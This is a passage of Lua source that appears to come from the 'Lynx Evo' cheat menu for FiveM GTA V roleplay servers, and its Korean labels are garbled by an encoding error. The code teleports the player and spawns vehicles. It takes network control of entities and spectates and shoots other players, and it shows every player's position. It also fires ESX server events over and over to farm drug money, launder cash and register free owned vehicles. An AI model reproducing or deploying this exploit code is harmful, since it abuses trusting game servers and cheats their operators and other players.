- SetEntityCoords(entity, WaypointCoords.x, WaypointCoords.y, height)
- FreezeEntityPosition(entity, true)
- local c9 = GetEntityCoords(entity, true)
- if c8 == 0.0 then
- height = height - 25.0
- SetEntityCoords(entity, c9.x, c9.y, height)
- bool, c8 = GetGroundZFor_3dCoord(c9.x, c9.y, c9.z, 0)
- else
- SetEntityCoords(entity, c9.x, c9.y, c8)
- FreezeEntityPosition(entity, false)
- wp = false
- height = 1000.0
- c8 = 0.0
- av('~g~Teleported to waypoint!', false)
- break
- end
- end
- end
- end
- local function ca()
- local cb = KeyboardInput('?뚰솚??李⑤웾 ?대쫫 ?곸뼱留?媛??ex)jet, rhino', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(
- GetHashKey(cb),
- GetEntityCoords(PlayerPedId(-1)),
- GetEntityHeading(PlayerPedId(-1)),
- true,
- true
- )
- SetPedIntoVehicle(PlayerPedId(-1), veh, -1)
- else
- av('~b~~h~?대떦 李⑤웾???놁뒿?덈떎! ?대쫫???뺤씤?댁<?몄슂.', true)
- end
- end
- local function cc()
- SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
- SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleUndriveable(vehicle, false)
- end
- local function cd()
- SetVehicleEngineHealth(vehicle, 1000)
- Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleUndriveable(vehicle, false)
- end
- local function ce()
- LynxEvo.StartRC()
- end
- LynxEvo.StartRC = function()
- if DoesEntityExist(LynxEvo.Entity) then
- return
- end
- LynxEvo.SpawnRC()
- LynxEvo.Tablet(true)
- while DoesEntityExist(LynxEvo.Entity) and DoesEntityExist(LynxEvo.Driver) do
- Citizen.Wait(5)
- local cf = GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(LynxEvo.Entity), true)
- LynxEvo.DrawInstructions(cf)
- LynxEvo.HandleKeys(cf)
- if cf <= 3000.0 then
- if not NetworkHasControlOfEntity(LynxEvo.Driver) then
- NetworkRequestControlOfEntity(LynxEvo.Driver)
- elseif not NetworkHasControlOfEntity(LynxEvo.Entity) then
- NetworkRequestControlOfEntity(LynxEvo.Entity)
- end
- else
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 6, 2500)
- end
- end
- end
- LynxEvo.HandleKeys = function(cf)
- if IsControlJustReleased(0, 47) then
- if IsCamRendering(LynxEvo.Camera) then
- LynxEvo.ToggleCamera(false)
- else
- LynxEvo.ToggleCamera(true)
- end
- end
- if cf <= 3.0 then
- if IsControlJustPressed(0, 38) then
- LynxEvo.Attach('pick')
- end
- end
- if cf < 3000.0 then
- if IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 9, 1)
- end
- if IsControlJustReleased(0, 172) or IsControlJustReleased(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 6, 2500)
- end
- if IsControlPressed(0, 173) and not IsControlPressed(0, 172) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 22, 1)
- end
- if IsControlPressed(0, 174) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 13, 1)
- end
- if IsControlPressed(0, 175) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 14, 1)
- end
- if IsControlPressed(0, 172) and IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 30, 100)
- end
- if IsControlPressed(0, 174) and IsControlPressed(0, 172) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 7, 1)
- end
- if IsControlPressed(0, 175) and IsControlPressed(0, 172) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 8, 1)
- end
- if IsControlPressed(0, 174) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 4, 1)
- end
- if IsControlPressed(0, 175) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
- TaskVehicleTempAction(LynxEvo.Driver, LynxEvo.Entity, 5, 1)
- end
- if IsControlJustReleased(0, 168) then
- SetVehicleEngineOn(LynxEvo.Entity, not GetIsVehicleEngineRunning(LynxEvo.Entity), false, true)
- end
- end
- end
- LynxEvo.DrawInstructions = function(cf)
- local cg = {
- {
- ['label'] = 'Right',
- ['button'] = '~INPUT_CELLPHONE_RIGHT~'
- },
- {
- ['label'] = 'Forward',
- ['button'] = '~INPUT_CELLPHONE_UP~'
- },
- {
- ['label'] = 'Reverse',
- ['button'] = '~INPUT_CELLPHONE_DOWN~'
- },
- {
- ['label'] = 'Left',
- ['button'] = '~INPUT_CELLPHONE_LEFT~'
- }
- }
- local ch = {
- ['label'] = 'Delete Car',
- ['button'] = '~INPUT_CONTEXT~'
- }
- local cj = {
- {
- ['label'] = 'Toggle Camera',
- ['button'] = '~INPUT_DETONATE~'
- },
- {
- ['label'] = 'Start/Stop Engine',
- ['button'] = '~INPUT_SELECT_CHARACTER_TREVOR~'
- }
- }
- if cf <= 3000.0 then
- for ck = 1, #cg do
- local cl = cg[ck]
- table.insert(cj, cl)
- end
- if cf <= 3000.0 then
- table.insert(cj, ch)
- end
- end
- Citizen.CreateThread(
- function()
- local cm = RequestScaleformMovie('instructional_buttons')
- while not HasScaleformMovieLoaded(cm) do
- Wait(0)
- end
- PushScaleformMovieFunction(cm, 'CLEAR_ALL')
- PushScaleformMovieFunction(cm, 'TOGGLE_MOUSE_BUTTONS')
- PushScaleformMovieFunctionParameterBool(0)
- PopScaleformMovieFunctionVoid()
- for ck, cn in ipairs(cj) do
- PushScaleformMovieFunction(cm, 'SET_DATA_SLOT')
- PushScaleformMovieFunctionParameterInt(ck - 1)
- PushScaleformMovieMethodParameterButtonName(cn['button'])
- PushScaleformMovieFunctionParameterString(cn['label'])
- PopScaleformMovieFunctionVoid()
- end
- PushScaleformMovieFunction(cm, 'DRAW_INSTRUCTIONAL_BUTTONS')
- PushScaleformMovieFunctionParameterInt(-1)
- PopScaleformMovieFunctionVoid()
- DrawScaleformMovieFullscreen(cm, 255, 255, 255, 255)
- end
- )
- end
- LynxEvo.SpawnRC = function()
- local cb = KeyboardInput('?뚰솚??李⑤웾 ?대쫫 ?곸뼱留?媛??ex)jet, rhino', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- LynxEvo.LoadModels(
- {
- GetHashKey(cb),
- 68070371
- }
- )
- local co, cp =
- GetEntityCoords(PlayerPedId()) + GetEntityForwardVector(PlayerPedId()) * 2.0,
- GetEntityHeading(PlayerPedId())
- LynxEvo.Entity = CreateVehicle(GetHashKey(cb), co, cp, true)
- while not DoesEntityExist(LynxEvo.Entity) do
- Citizen.Wait(5)
- end
- LynxEvo.Driver = CreatePed(5, 68070371, co, cp, true)
- SetEntityInvincible(LynxEvo.Driver, true)
- SetEntityVisible(LynxEvo.Driver, false)
- FreezeEntityPosition(LynxEvo.Driver, true)
- SetPedAlertness(LynxEvo.Driver, 0.0)
- TaskWarpPedIntoVehicle(LynxEvo.Driver, LynxEvo.Entity, -1)
- while not IsPedInVehicle(LynxEvo.Driver, LynxEvo.Entity) do
- Citizen.Wait(0)
- end
- LynxEvo.Attach('place')
- av('~g~~h~Success', false)
- else
- av('~b~~h~?대떦 李⑤웾???놁뒿?덈떎! ?대쫫???뺤씤?댁<?몄슂.', true)
- end
- end
- LynxEvo.Attach = function(aw)
- if not DoesEntityExist(LynxEvo.Entity) then
- return
- end
- LynxEvo.LoadModels(
- {
- 'pickup_object'
- }
- )
- if aw == 'place' then
- AttachEntityToEntity(
- LynxEvo.Entity,
- PlayerPedId(),
- GetPedBoneIndex(PlayerPedId(), 28422),
- 3.0,
- 0.0,
- 0.5,
- 70.0,
- 0.0,
- 270.0,
- 1,
- 1,
- 0,
- 0,
- 2,
- 1
- )
- Citizen.Wait(200)
- DetachEntity(LynxEvo.Entity, false, true)
- PlaceObjectOnGroundProperly(LynxEvo.Entity)
- elseif aw == 'pick' then
- if DoesCamExist(LynxEvo.Camera) then
- LynxEvo.ToggleCamera(false)
- end
- LynxEvo.Tablet(false)
- Citizen.Wait(100)
- DetachEntity(LynxEvo.Entity)
- DeleteVehicle(LynxEvo.Entity)
- DeleteEntity(LynxEvo.Driver)
- LynxEvo.UnloadModels()
- end
- end
- LynxEvo.Tablet = function(cq)
- if cq then
- LynxEvo.LoadModels(
- {
- GetHashKey('prop_cs_tablet')
- }
- )
- LynxEvo.LoadModels(
- {
- 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a'
- }
- )
- Citizen.CreateThread(
- function()
- while DoesEntityExist(LynxEvo.TabletEntity) do
- Citizen.Wait(5)
- if
- not IsEntityPlayingAnim(
- PlayerPedId(),
- 'amb@code_human_in_bus_passenger_idles@female@tablet@idle_a',
- 'idle_a',
- 3
- )
- then
- end
- end
- ClearPedTasks(PlayerPedId())
- end
- )
- else
- DeleteEntity(LynxEvo.TabletEntity)
- end
- end
- LynxEvo.ToggleCamera = function(cq)
- if not true then
- return
- end
- if cq then
- if not DoesEntityExist(LynxEvo.Entity) then
- return
- end
- if DoesCamExist(LynxEvo.Camera) then
- DestroyCam(LynxEvo.Camera)
- end
- LynxEvo.Camera = CreateCam('DEFAULT_SCRIPTED_CAMERA', true)
- AttachCamToEntity(LynxEvo.Camera, LynxEvo.Entity, 0.0, 0.0, 0.4, true)
- Citizen.CreateThread(
- function()
- while DoesCamExist(LynxEvo.Camera) do
- Citizen.Wait(5)
- SetCamRot(LynxEvo.Camera, GetEntityRotation(LynxEvo.Entity))
- end
- end
- )
- local cr =
- 500 *
- math.ceil(
- GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(LynxEvo.Entity), true) / 10
- )
- RenderScriptCams(1, 1, cr, 1, 1)
- Citizen.Wait(cr)
- SetTimecycleModifier('scanline_cam_cheap')
- SetTimecycleModifierStrength(2.0)
- else
- local cr =
- 500 *
- math.ceil(
- GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(LynxEvo.Entity), true) / 10
- )
- RenderScriptCams(0, 1, cr, 1, 0)
- Citizen.Wait(cr)
- ClearTimecycleModifier()
- DestroyCam(LynxEvo.Camera)
- end
- end
- LynxEvo.LoadModels = function(cs)
- for ct = 1, #cs do
- local bB = cs[ct]
- if not LynxEvo.CachedModels then
- LynxEvo.CachedModels = {}
- end
- table.insert(LynxEvo.CachedModels, bB)
- if IsModelValid(bB) then
- while not HasModelLoaded(bB) do
- RequestModel(bB)
- Citizen.Wait(10)
- end
- else
- while not HasAnimDictLoaded(bB) do
- RequestAnimDict(bB)
- Citizen.Wait(10)
- end
- end
- end
- end
- LynxEvo.UnloadModels = function()
- for ct = 1, #LynxEvo.CachedModels do
- local bB = LynxEvo.CachedModels[ct]
- if IsModelValid(bB) then
- SetModelAsNoLongerNeeded(bB)
- else
- RemoveAnimDict(bB)
- end
- end
- end
- local function cu()
- local ax = GetPlayerPed(-1)
- local ay = GetVehiclePedIsIn(ax, true)
- local m = KeyboardInput('Enter the plate license you want', '', 100)
- if m ~= '' then
- SetVehicleNumberPlateText(ay, m)
- end
- end
- function hweed()
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- TriggerServerEvent('esx_drugs:startHarvestWeed')
- end
- function tweed()
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- TriggerServerEvent('esx_drugs:startTransformWeed')
- end
- function sweed()
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- TriggerServerEvent('esx_drugs:startSellWeed')
- end
- function hcoke()
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- TriggerServerEvent('esx_drugs:startHarvestCoke')
- end
- function tcoke()
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- TriggerServerEvent('esx_drugs:startTransformCoke')
- end
- function scoke()
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- TriggerServerEvent('esx_drugs:startSellCoke')
- end
- function hmeth()
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- TriggerServerEvent('esx_drugs:startHarvestMeth')
- end
- function tmeth()
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- TriggerServerEvent('esx_drugs:startTransformMeth')
- end
- function smeth()
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- TriggerServerEvent('esx_drugs:startSellMeth')
- end
- function hopi()
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- TriggerServerEvent('esx_drugs:startHarvestOpium')
- end
- function topi()
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- TriggerServerEvent('esx_drugs:startTransformOpium')
- end
- function sopi()
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- TriggerServerEvent('esx_drugs:startSellOpium')
- end
- function mataaspalarufe()
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- end
- function matanumaispalarufe()
- TriggerServerEvent('esx_drugs:stopHarvestCoke')
- TriggerServerEvent('esx_drugs:stopTransformCoke')
- TriggerServerEvent('esx_drugs:stopSellCoke')
- TriggerServerEvent('esx_drugs:stopHarvestMeth')
- TriggerServerEvent('esx_drugs:stopTransformMeth')
- TriggerServerEvent('esx_drugs:stopSellMeth')
- TriggerServerEvent('esx_drugs:stopHarvestWeed')
- TriggerServerEvent('esx_drugs:stopTransformWeed')
- TriggerServerEvent('esx_drugs:stopSellWeed')
- TriggerServerEvent('esx_drugs:stopHarvestOpium')
- TriggerServerEvent('esx_drugs:stopTransformOpium')
- TriggerServerEvent('esx_drugs:stopSellOpium')
- av('~b~Everything is now stopped.', false)
- end
- local function cv()
- local cb = KeyboardInput('?뚰솚??李⑤웾 ?대쫫 ?곸뼱留?媛??ex)jet, rhino', '', 100)
- local cw = KeyboardInput('?ъ슜??李⑤웾 踰덊샇??, '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(
- GetHashKey(cb),
- GetEntityCoords(PlayerPedId(-1)),
- GetEntityHeading(PlayerPedId(-1)),
- true,
- true
- )
- SetVehicleNumberPlateText(veh, cw)
- local cx = ESX.Game.GetVehicleProperties(veh)
- TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
- av('~g~~h~Success', false)
- else
- av('~b~~h~?대떦 李⑤웾???놁뒿?덈떎! ?대쫫???뺤씤?댁<?몄슂.', true)
- end
- end
- function daojosdinpatpemata()
- local ax = GetPlayerPed(-1)
- local ay = GetVehiclePedIsIn(ax, true)
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- SetVehicleOnGroundProperly(ay)
- av('~g~Vehicle Flipped!', false)
- else
- av("~b~You Aren't In The Driverseat Of A Vehicle!", true)
- end
- end
- function stringsplit(cy, cz)
- if cz == nil then
- cz = '%s'
- end
- local cA = {}
- i = 1
- for cB in string.gmatch(cy, '([^' .. cz .. ']+)') do
- cA[i] = cB
- i = i + 1
- end
- return cA
- end
- local cC = false
- function SpectatePlayer(cD)
- local ax = PlayerPedId(-1)
- cC = not cC
- local cE = GetPlayerPed(cD)
- if cC then
- local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
- RequestCollisionAtCoord(cF, cG, cH)
- NetworkSetInSpectatorMode(true, cE)
- av('媛먯떆以?. ' .. GetPlayerName(cD), false)
- else
- local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
- RequestCollisionAtCoord(cF, cG, cH)
- NetworkSetInSpectatorMode(false, cE)
- av('媛먯떆醫낅즺.. ' .. GetPlayerName(cD), false)
- end
- end
- function ShootPlayer(cD)
- local head = GetPedBoneCoords(cD, GetEntityBoneIndexByName(cD, 'SKEL_HEAD'), 0.0, 0.0, 0.0)
- SetPedShootsAtCoord(PlayerPedId(-1), head.x, head.y, head.z, true)
- end
- function MaxOut(veh)
- SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 0,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 1,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 2,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 3,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 4,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 5,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 6,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 7,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 8,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 9,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 10,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 11,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 12,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 13,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1,
- false
- )
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 15,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 16,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1,
- false
- )
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 25,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 27,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 28,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 30,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 33,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 34,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 35,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 38,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1,
- true
- )
- SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
- SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 0, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 1, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 2, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 3, true)
- SetVehicleNeonLightsColour(GetVehiclePedIsIn(GetPlayerPed(-1)), 222, 222, 255)
- end
- function DelVeh(veh)
- SetEntityAsMissionEntity(Object, 1, 1)
- DeleteEntity(Object)
- SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- end
- function Clean(veh)
- SetVehicleDirtLevel(veh, 15.0)
- end
- function Clean2(veh)
- SetVehicleDirtLevel(veh, 1.0)
- end
- function RequestControl(entity)
- local cI = 0
- NetworkRequestControlOfEntity(entity)
- while not NetworkHasControlOfEntity(entity) do
- cI = cI + 100
- Citizen.Wait(100)
- if cI > 5000 then
- av('Hung for 5 seconds, killing to prevent issues...', true)
- end
- end
- end
- function getEntity(cD)
- local m, entity = GetEntityPlayerIsFreeAimingAt(cD, Citizen.ReturnResultAnyway())
- return entity
- end
- function GetInputMode()
- return Citizen.InvokeNative(0xA571D46727E2B718, 2) and 'MouseAndKeyboard' or 'GamePad'
- end
- function DrawSpecialText(cJ, cK)
- SetTextEntry_2('STRING')
- AddTextComponentString(cJ)
- DrawSubtitleTimed(cK, 1)
- end
- local cL = true
- local cM = false
- local cN = true
- local cO = true
- Citizen.CreateThread(
- function()
- while true do
- Wait(1)
- for f = 0, 128 do
- if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
- ped = GetPlayerPed(f)
- blip = GetBlipFromEntity(ped)
- x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
- headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped, GetPlayerName(f), false, false, '', false)
- wantedLvl = GetPlayerWantedLevel(f)
- if cM then
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
- if wantedLvl then
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, true)
- Citizen.InvokeNative(0xCF228E2AA03099C3, headId, wantedLvl)
- else
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
- end
- else
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
- end
- if cL then
- if not DoesBlipExist(blip) then
- blip = AddBlipForEntity(ped)
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- else
- veh = GetVehiclePedIsIn(ped, false)
- blipSprite = GetBlipSprite(blip)
- if not GetEntityHealth(ped) then
- if blipSprite ~= 274 then
- SetBlipSprite(blip, 274)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif veh then
- vehClass = GetVehicleClass(veh)
- vehModel = GetEntityModel(veh)
- if vehClass == 15 then
- if blipSprite ~= 422 then
- SetBlipSprite(blip, 422)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif vehClass == 16 then
- if
- vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or
- vehModel == GetHashKey('lazer')
- then
- if blipSprite ~= 424 then
- SetBlipSprite(blip, 424)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif blipSprite ~= 423 then
- SetBlipSprite(blip, 423)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- end
- elseif vehClass == 14 then
- if blipSprite ~= 427 then
- SetBlipSprite(blip, 427)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- end
- elseif
- vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or
- vehModel == GetHashKey('limo2')
- then
- if blipSprite ~= 426 then
- SetBlipSprite(blip, 426)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif vehModel == GetHashKey('rhino') then
